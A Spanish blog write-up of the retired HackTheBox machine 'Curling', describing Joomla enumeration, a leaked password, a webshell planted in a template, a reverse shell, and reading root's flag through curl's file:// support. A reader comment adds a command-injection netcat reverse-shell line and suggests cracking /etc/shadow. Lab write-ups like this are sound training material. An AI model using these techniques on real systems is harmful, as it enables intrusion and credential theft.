Buenas!
Continuamos con los writeups de máquinas de HacktheBox. En esta ocasión es el turno de Curling, que el finde pasado fue retirada. Una máquina bastante peculiar y haciendo nuevamente el nombre de la máquina honor como hit para su resolución.
Como en anteriores ocasiones, dividimos el write-up en tres fases:
- Enumeración
- Explotación
- Escalada de privilegios.
Enumeración
En primer lugar, se ejecuta nmap para identificar los servicios y puertos abiertos:
Cabe destacar un servicio web en HTTP (80) y SSH (22).
Accediendo vía web, rápidamente se identifica el icono de Joomla, por lo que lo primero es identificar la versión instalada en la ruta por defecto:
Se trata de una versión muy actualizada, por lo que vulnerabilidades a nivel de versión no parece que haya.A continuación, se emplean herramientas de descubrimiento sin éxito como dirsearch.
Por lo tanto, se hace uso de algunas tools dedicadas para Joomla, como Joomscan (https://github.com/rezasp/joomscan) para identificar alguno fallo de configuración, pero nada relevante:
Al final al tratar de identificar plugins en el código fuente, se identifica un comentario con el keyword: secret.txt
Accediendo se obtiene:
Analizando su contenido, se ve que está codificada en base64, por lo tanto, se decodifica obteniendo la contraseña en texto plano:
¿Dónde podríamos introducirla? En el propio de usuarios o bien en el login de administrador en Joomla situado en /administrator.
Examinado los post’s que hay se identifica un posible user “floris”. Para comprobar si puede estar registrado en la máquina, se hace uso del servicio SSH, a través de una vulnerabilidad que afecta a OpenSSH (que explican de lujo los compis de hackplayers en https://www.hackplayers.com/2018/10/enumeracion-de-usuarios-openssh.html). Se basa en una enumeración de usuarios:
Tras detectar que el usuario existe en la máquina, se procede a autenticarse en ambos paneles comentados anteriormente, teniendo permisos de administrador:
Con esta parte, se obtiene ya acceso a la web, por lo que finaliza la parte de enumeración y comienza la fase de explotación para lograr obtener acceso remoto a la máquina.
Explotación
Hay diferentes secciones dentro de un Joomla para subir código PHP para obtener una webshell o una shell reverse. En mi caso, se modifica el código de una plantilla (protostar):
De tal manera, que accediendo se pueden ejecutar comandos de manera remota:
Se examinan los usuarios del sistema:
El usuario sobre el que se ejecuta Joomla es www-data, por lo que no se podrá a priori visualizar los ficheros del usuario Floris.
Por lo tanto, se tiene que mejorar la webshell para disponer de una shell reversa y examinar los recursos en busca de algo que nos permita escalar. Para ello, se modifica de nuevo la plantilla empleando una webshell de PHP del repositorio de SecLists.
Y poniendo un listener tras acceder al recurso se obtiene la shell reversa:
Examinando se encuentra el fichero password_backup
Esto inmediatamente nos viene a la cabeza los famosos “Magic numbers”
Empleando “xxd” se identifica su cabecera para saber qué tipo de fichero es:
Lo que viene a ser “bzip2” con extensión “bz2”. Lo podéis consultar: https://en.wikipedia.org/wiki/List_of_file_signatures
Para ello, se renombra a su extensión: password_backup.bz2 y sale que es gzip, y esto es recursivo hasta que se obtiene la contraseña:
Una vez se tiene la contraseña, se logra autenticarse mediante SSH:
Escalada de privilegios
Una vez que se tiene el acceso remoto finaliza la parte de explotación y comienza la fase de postexplotación con el objetivo de lograr ser root.
Tras darle muchas vueltas encontré el fichero configuration.php, en el que se identifican diferentes credenciales:
Entre ellas un mysqli con el user floris y una password. Entonces, tras ver mediante netstat que está abierto localmente el puerto:
Pero al tratar de acceder, da fallo “Access_denied”
Después de darle muchas vueltas, recordé el nombre de la máquina “curling” que además del deporte, se puede referir a Curl. En el directorio de Floris hay dos ficheros un input y un report con la web (al principio no me llamaron mucho).
Cambiando el valor a google.es, cambia el report con el valor. Por lo tanto, igual se pueden leer ficheros del directorio root mediante curl. Para ello, hay que tener en cuenta como se abren los ficheros a través del navegador: file:///
Así que, replicándolo se obtiene en el report, la flag de root.txt
También podéis encontrar la entrada en mi github. Aunque el fichero se encuentra cifrado con la flag de root, pues en aquel momento la máquina estaba activa.
Espero que os haya gustado y resultado útil.
Nos vemos en la próxima entrada o C0n.
Saludos.
N4xh4ck5
La mejor defensa, es un buen ataque
Un comentario en «HTB – WriteUp – Curling»
Muy chulo el write up!, me encanta vuestro blog. Lo leo siempre que puedo porque el curro no me deja mucho tiempo. La verdad es que me han surgido algunas dudas con la escalada de privilegios. Quizá la maquina esta hecha para que se saque la flag de root de esa forma pero el hecho de que se pueda leer indica que el proceso que esta ejecutando curl tiene acceso al directorio de root y que por tanto corre con privilegios elevados. Se me ocurre si no se puede obtener una shell inversa mediante remote command execution colocando en como argumento «»; nc tu-ip-local -p 4444 -e /bin/bash o alguna otra variante como && o si no hay nc en la maquina local, siempre te puedes subir una shell. Otra cosa que se me ocurre aqui es descifrar el password the root accediendo a /etc/shadow y usar john despues. En fin… tampoco es que yo sepa mucho de esto, solo doy ideas porque durante OSCP pillar el flag no daba puntos XD.
Los comentarios están cerrados.